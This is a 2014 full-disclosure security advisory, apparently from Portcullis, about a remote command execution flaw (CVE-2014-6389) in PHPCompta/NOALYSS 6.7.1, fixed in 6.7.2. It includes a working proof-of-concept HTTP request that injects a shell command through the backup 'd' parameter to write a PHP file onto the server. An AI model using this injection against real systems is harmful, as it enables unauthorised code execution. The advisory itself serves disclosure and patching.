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Date: Wed, 1 Oct 2014 12:55:45 +0000
From: Portcullis Advisories <advisories@...tcullis-security.com>
To: "'bugtraq@...urityfocus.com'" <bugtraq@...urityfocus.com>,
	"'fulldisclosure@...lists.org'" <fulldisclosure@...lists.org>,
	"'moderators@...db.org'" <moderators@...db.org>, "'vuln@...unia.com'"
	<vuln@...unia.com>
Subject: [FD] CVE-2014-6389 - Remote Command Execution in PHPCompta/NOALYSS

Vulnerability title: Remote Command Execution in PHPCompta/NOALYSS
CVE: CVE-2014-6389
Vendor: PHPCompta
Product: PHPCompta/NOALYSS
Affected version: 6.7.1 5638
Fixed version: 6.7.2
Reported by: Jerzy Kramarz

Details:

PhpCompta 6.7.1-2 does not validate the syntax of the commands when processing backup requests from users. It is possible to abuse the 'd' parameter to inject additional parameters that will then be passed via the php passthru() function to create a backup file, which will subsequently be executed. The proof of concept below will create a file 'exploit.php' in the root directory of the application, which will execute phpinfo() function when called.

GET /phpcompta/backup.php?sa=b&t=m&d=123;%20echo%20%22%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%22%20>%20exploit.php HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=3nckv75pburv54tm2iq79dfgl6
Connection: keep-alive

Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-6389/

Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.


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